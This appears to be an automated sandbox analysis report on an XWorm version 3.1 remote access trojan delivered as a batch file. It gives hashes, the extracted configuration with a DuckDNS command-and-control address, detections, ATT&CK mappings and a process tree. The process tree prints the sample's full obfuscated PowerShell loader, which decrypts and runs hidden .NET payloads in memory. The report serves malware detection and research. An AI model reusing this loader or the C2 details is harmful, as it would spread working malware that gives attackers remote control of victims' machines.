xworm | d03cdb6f745777a9b759cc7b348bfa131ff9228abfa7b468427025331c6cbeb6

General

Target

xff.cmd
Size

64KB
MD5

fa0ef860ffb4c4c8785edbf41a09ed46
SHA1

58e4dddc140fd43397ec9ac7a837ffd119438b3f
SHA256

d03cdb6f745777a9b759cc7b348bfa131ff9228abfa7b468427025331c6cbeb6
SHA512

ad3acaca45746495ff2158d0736aab9b642a1c75ba8b40ea6250b78cd59fc081145278793d4a9874aada2bc37cc11d233151660219a5b5de3c5b64d08fe40bdc
SSDEEP

1536:f/X/G7+gF7PV7f4ENwLaDu83y9vt93hSqAf+3DUwL:f/X/lgFl4ENwLb83y9vtVjYwL

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

C2

nmds.duckdns.org:8895

Mutex

O3B5rRVaa3oX74CD

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4516-31-0x0000022F2C6C0000-0x0000022F2C6CE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

24 4516 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4516 powershell.exe
4268 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

4516 powershell.exe
4516 powershell.exe
4268 powershell.exe
4268 powershell.exe
4516 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4516 powershell.exe
Token: SeDebugPrivilege 4268 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4516 powershell.exe

flow	pid	process
24	4516	powershell.exe

pid	process
4516	powershell.exe
4268	powershell.exe

pid	process
4516	powershell.exe
4516	powershell.exe
4268	powershell.exe
4268	powershell.exe
4516	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe

pid	process
4516	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 1448 wrote to memory of 3908	1448	cmd.exe	cmd.exe
PID 1448 wrote to memory of 3908	1448	cmd.exe	cmd.exe
PID 1448 wrote to memory of 3360	1448	cmd.exe	cmd.exe
PID 1448 wrote to memory of 3360	1448	cmd.exe	cmd.exe
PID 3360 wrote to memory of 4312	3360	cmd.exe	cmd.exe
PID 3360 wrote to memory of 4312	3360	cmd.exe	cmd.exe
PID 3360 wrote to memory of 4648	3360	cmd.exe	cmd.exe
PID 3360 wrote to memory of 4648	3360	cmd.exe	cmd.exe
PID 3360 wrote to memory of 4516	3360	cmd.exe	powershell.exe
PID 3360 wrote to memory of 4516	3360	cmd.exe	powershell.exe
PID 4516 wrote to memory of 4268	4516	powershell.exe	powershell.exe
PID 4516 wrote to memory of 4268	4516	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xff.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1448

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:3908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\xff.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:3360

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:4312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\xff.cmd';$PBbd='REirTeaEirTdLEirTiEirTneEirTsEirT'.Replace('EirT', ''),'ECvmXnCvmXtrCvmXyPCvmXoCvmXinCvmXtCvmX'.Replace('CvmX', ''),'SpJFAilJFAiiJFAitJFAi'.Replace('JFAi', ''),'CoqVcTpyqVcTTqVcToqVcT'.Replace('qVcT', ''),'MIOlkaIOlkinIOlkMIOlkoduIOlklIOlkeIOlk'.Replace('IOlk', ''),'ChaZoLxngZoLxeEZoLxxZoLxteZoLxnsZoLxiZoLxoZoLxnZoLx'.Replace('ZoLx', ''),'ElekLvxmkLvxekLvxntkLvxAtkLvx'.Replace('kLvx', ''),'LosYUQasYUQdsYUQ'.Replace('sYUQ', ''),'InvnulYoknulYenulY'.Replace('nulY', ''),'GetIJNsCuIJNsrreIJNsntPIJNsroIJNsceIJNssIJNssIJNs'.Replace('IJNs', ''),'CQFbXreQFbXaQFbXtQFbXeQFbXDecQFbXrypQFbXtoQFbXrQFbX'.Replace('QFbX', ''),'FraBWvomaBWvBasaBWveaBWv64aBWvStaBWvriaBWvnaBWvgaBWv'.Replace('aBWv', ''),'DeurjGcourjGmurjGpreurjGsurjGsurjG'.Replace('urjG', ''),'TrmyUjanmyUjsmyUjfmyUjomyUjrmFmyUjinamyUjlBmyUjlocmyUjkmyUj'.Replace('myUj', '');powershell -w hidden;function qwncL($QXTPa){$EXxOl=[System.Security.Cryptography.Aes]::Create();$EXxOl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$EXxOl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$EXxOl.Key=[System.Convert]::($PBbd[11])('XHpn/JZ7TsfLX+PpsINKLy+MpWXBsJxjn60Bdg7Z+FQ=');$EXxOl.IV=[System.Convert]::($PBbd[11])('68WBRJ74PNWh3trKlbXclQ==');$GJgIu=$EXxOl.($PBbd[10])();$OYtEh=$GJgIu.($PBbd[13])($QXTPa,0,$QXTPa.Length);$GJgIu.Dispose();$EXxOl.Dispose();$OYtEh;}function lfmoi($QXTPa){$NKsyX=New-Object System.IO.MemoryStream(,$QXTPa);$mMIgg=New-Object System.IO.MemoryStream;$vKCth=New-Object System.IO.Compression.GZipStream($NKsyX,[IO.Compression.CompressionMode]::($PBbd[12]));$vKCth.($PBbd[3])($mMIgg);$vKCth.Dispose();$NKsyX.Dispose();$mMIgg.Dispose();$mMIgg.ToArray();}$crDhE=[System.IO.File]::($PBbd[0])([Console]::Title);$NIvxt=lfmoi (qwncL ([Convert]::($PBbd[11])([System.Linq.Enumerable]::($PBbd[6])($crDhE, 5).Substring(2))));$lZPem=lfmoi (qwncL ([Convert]::($PBbd[11])([System.Linq.Enumerable]::($PBbd[6])($crDhE, 6).Substring(2))));[System.Reflection.Assembly]::($PBbd[7])([byte[]]$lZPem).($PBbd[1]).($PBbd[8])($null,$null);[System.Reflection.Assembly]::($PBbd[7])([byte[]]$NIvxt).($PBbd[1]).($PBbd[8])($null,$null); "
3⤵
PID:4648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4064 --field-trial-handle=2356,i,13261194862334667799,7441241219475888176,262144 --variations-seed-version /prefetch:8
1⤵
PID:1944

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jm12cygf.bje.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4516-27-0x0000022F2C330000-0x0000022F2C342000-memory.dmp

Filesize
72KB

Download
memory/4516-28-0x00007FFFC4C70000-0x00007FFFC4E65000-memory.dmp

Filesize
2.0MB

Download
memory/4516-11-0x00007FFFA5280000-0x00007FFFA5D41000-memory.dmp

Filesize
10.8MB

Download
memory/4516-12-0x00007FFFA5280000-0x00007FFFA5D41000-memory.dmp

Filesize
10.8MB

Download
memory/4516-13-0x0000022F2C710000-0x0000022F2C754000-memory.dmp

Filesize
272KB

Download
memory/4516-14-0x00007FFFA5280000-0x00007FFFA5D41000-memory.dmp

Filesize
10.8MB

Download
memory/4516-6-0x0000022F2C290000-0x0000022F2C2B2000-memory.dmp

Filesize
136KB

Download
memory/4516-0-0x00007FFFA5283000-0x00007FFFA5285000-memory.dmp

Filesize
8KB

Download
memory/4516-15-0x0000022F2C7E0000-0x0000022F2C856000-memory.dmp

Filesize
472KB

Download
memory/4516-30-0x0000022F2C370000-0x0000022F2C37C000-memory.dmp

Filesize
48KB

Download
memory/4516-29-0x00007FFFC30F0000-0x00007FFFC31AE000-memory.dmp

Filesize
760KB

Download
memory/4516-31-0x0000022F2C6C0000-0x0000022F2C6CE000-memory.dmp

Filesize
56KB

Download
memory/4516-33-0x00007FFFA5283000-0x00007FFFA5285000-memory.dmp

Filesize
8KB

Download
memory/4516-34-0x00007FFFA5280000-0x00007FFFA5D41000-memory.dmp

Filesize
10.8MB

Download
memory/4516-35-0x00007FFFA5280000-0x00007FFFA5D41000-memory.dmp

Filesize
10.8MB

Download

Analysis

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